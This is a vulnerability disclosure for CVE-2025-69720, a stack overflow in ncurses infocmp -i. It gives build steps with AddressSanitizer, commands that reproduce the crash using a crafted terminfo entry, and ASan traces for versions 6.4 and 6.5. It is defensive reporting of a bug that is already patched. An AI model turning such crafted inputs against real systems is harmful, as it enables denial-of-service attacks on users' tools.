CVE-2025-69720: ncurses infocmp `-i` Stack Buffer Overflow (CWE-121)

Reporter: Yixuan Cao (Shenzhen University), [email protected]

Environment

Host: openEuler 22.03 LTS (Linux aarch64)
Toolchain: system clang 12.0.1 + AddressSanitizer
Source: ncurses-6.4 and ncurses-6.5 (prior to patch 20251213)

Summary

infocmp -i invokes analyze_string() (progs/infocmp.c) to inspect CSI sequences found in a terminfo entry. The routine copies the candidate substring into a fixed-size stack buffer (buf2, 4096 bytes). Because len = strlen(cp) is not checked against 4096, a maliciously long CSI parameter list (e.g., sgr=\E[1234567;…;m with ~800 parameters) overflows buf2, causing a stack smash. The same PoC reproduces on 6.4 and on 6.5 prior to the 20251213 patch (see ASan outputs below). Versions earlier than 6.4 were not tested.

The ncurses news (2025/12/13) has confirmed and fixed the bug, and an official patch is available.

Impact

Running infocmp -i on a crafted terminfo entry can crash the tool (stack-buffer-overflow), i.e., a local denial of service for that invocation.
The overflow occurs in progs/infocmp.c (analyze_string) when len = strlen(cp) is used to copy into buf2[MAX_TERMINFO_LENGTH] (4096) without checking len, and is followed by buf2[len] = '\0'.
The -i option is a specialized analysis path for init/reset-related capabilities (is1/is2/is3/rs1/rs2/rs3/smcup/rmcup/smkx/rmkx); it does not affect the common infocmp usage without -i.
Fixed in: ncurses 6.5 with patch 20251213 (ncurses-6.5-20251213.patch.gz).

Steps to Reproduce (take ncurses-6.4 as an example)

Prepare and compile the source code of ncurses-6.4 with ASan:

# Download and extract the source code of ncurses-6.4
# (assume it lives in ~/ncurses-6.4, i.e., /home/<user>/ncurses-6.4)
cd ~
wget https://invisible-mirror.net/archives/ncurses/ncurses-6.4.tar.gz
tar xvf ncurses-6.4.tar.gz
cd ncurses-6.4

# Configure with ASan
CC=clang \
CFLAGS='-O1 -g -fsanitize=address' \
LDFLAGS='-fsanitize=address' \
./configure --enable-widec   # keep wide-char support so the long SGR survives

# Compile infocmp/tic/etc.
make -j$(nproc)

Compile the PoC terminfo source (assuming the file is at ~/evil_sgr.ti) into a temporary database:
```
~/ncurses-6.4/progs/tic -x -o /tmp/evilti ~/evil_sgr.ti
```
Trigger the overflow with ASan-enabled infocmp:
```
TERMINFO=/tmp/evilti ~/ncurses-6.4/progs/infocmp -i evil_sgr
```
(For 6.5, use the corresponding ~/ncurses-6.5/progs/... paths.)

ASan Output

For ncurses-6.4:

[yixuan@Taishan200 ~]$ TERMINFO=/tmp/evilti ~/ncurses-6.4/progs/infocmp -i evil_sgr
=================================================================
==3848299==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xffffcfa5e240 at pc 0x000000443344 bp 0xffffcfa5c9b0 sp 0xffffcfa5ca08
WRITE of size 6402 at 0xffffcfa5e240 thread T0
    #0 0x443340 in strncpy (/home/yixuan/ncurses-6.4/progs/infocmp+0x443340)
    #1 0x4eee78 in analyze_string /home/yixuan/ncurses-6.4/progs/../progs/infocmp.c:850:3
    #2 0x4ecebc in main /home/yixuan/ncurses-6.4/progs/../progs/infocmp.c:1881:6
    #3 0xffffab9d0ffc  (/usr/lib64/libc.so.6+0x2affc)
    #4 0xffffab9d10d4 in __libc_start_main (/usr/lib64/libc.so.6+0x2b0d4)
    #5 0x42936c in _start (/home/yixuan/ncurses-6.4/progs/infocmp+0x42936c)

Address 0xffffcfa5e240 is located in stack of thread T0 at offset 4128 in frame
    #0 0x4eebe0 in analyze_string /home/yixuan/ncurses-6.4/progs/../progs/infocmp.c:818

  This frame has 2 object(s):
    [32, 4128) 'buf2' (line 819)
    [4256, 8352) 'buf3' (line 834) <== Memory access at offset 4128 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/yixuan/ncurses-6.4/progs/infocmp+0x443340) in strncpy
Shadow bytes around the buggy address:
  0x200ff9f4bbf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x200ff9f4bc40: 00 00 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2
  0x200ff9f4bc50: f2 f2 f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00
  0x200ff9f4bc60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==3848299==ABORTING

And for ncurses-6.5:

[yixuan@Taishan200 ~]$  TERMINFO=/tmp/evilti ~/ncurses-6.5/progs/infocmp -i evil_sgr
=================================================================
==3863888==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xfffff7af5380 at pc 0x000000443544 bp 0xfffff7af3af0 sp 0xfffff7af3b48
WRITE of size 6402 at 0xfffff7af5380 thread T0
    #0 0x443540 in strncpy (/home/yixuan/ncurses-6.5/progs/infocmp+0x443540)
    #1 0x4ef094 in analyze_string /home/yixuan/ncurses-6.5/progs/../progs/infocmp.c:874:3
    #2 0x4ed0d8 in main /home/yixuan/ncurses-6.5/progs/../progs/infocmp.c:1913:6
    #3 0xffff811baffc  (/usr/lib64/libc.so.6+0x2affc)
    #4 0xffff811bb0d4 in __libc_start_main (/usr/lib64/libc.so.6+0x2b0d4)
    #5 0x42956c in _start (/home/yixuan/ncurses-6.5/progs/infocmp+0x42956c)

Address 0xfffff7af5380 is located in stack of thread T0 at offset 4128 in frame
    #0 0x4eedfc in analyze_string /home/yixuan/ncurses-6.5/progs/../progs/infocmp.c:842

CVE-2025-69720

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CVE-2025-69720: ncurses infocmp -i Stack Buffer Overflow (CWE-121)